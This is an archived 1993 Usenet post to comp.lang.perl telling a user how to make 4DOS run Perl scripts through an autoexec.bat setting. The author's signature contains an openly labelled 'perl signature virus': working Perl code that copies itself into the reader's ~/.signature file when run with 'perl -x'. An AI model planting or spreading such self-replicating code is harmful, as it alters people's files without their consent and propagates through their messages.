home *** CD-ROM | disk | FTP | other *** search
/ NetNews Usenet Archive 1992 #31 / NN_1992_31.iso / spool / comp / lang / perl / 7647 < prev    next >
Encoding:
Internet Message Format  |  1993-01-01  |  1.0 KB

  1. Path: sparky!uunet!zaphod.mps.ohio-state.edu!usc!wupost!spool.mu.edu!umn.edu!cybrspc!roy
  2. From: roy%cybrspc@cs.umn.edu (Roy M. Silvernail)
  3. Newsgroups: comp.lang.perl
  4. Subject: Re: *sigh* Yes, the eternal question: How do I run it under 4dos aga
  5. Message-ID: <0L1PwB5w165w@cybrspc.UUCP>
  6. Date: Fri, 01 Jan 93 17:04:32 CST
  7. References: <kenc.725847059@sol>
  8. Organization: Villa CyberSpace, Minneapolis, MN
  9. Lines: 17
  10.  
  11. kenc@sol.acs.unt.edu (Ken Corey - Operator) writes:
  12.  
  13. > anyway, what's the line I put in 4dos.ini so that 4dos recognixses .pl as an 
  14. > executable, and runs perl on that script?
  15.  
  16. Not in the .ini, but in autoexec.bat, put
  17.  
  18. set .pl=c:\where\ever\perl.exe
  19.  
  20. Works for me.  For command line flags, put 'em in the #!/usr/bin/perl
  21. line at the beginning of the script.
  22. --
  23. Roy M. Silvernail --  roy%cybrspc@cs.umn.edu - OR-  cybrspc!roy@cs.umn.edu
  24. #! /usr/bin/perl
  25.          open(I,"$0");@a=(<I>);shift(@a) until $a[0] =~ /^#!/;
  26.          open(I,">>$ENV{'HOME'}/.signature");print I @a;__END__
  27.          <perl signature virus V2.0 - do 'perl -x articlename'>
  28.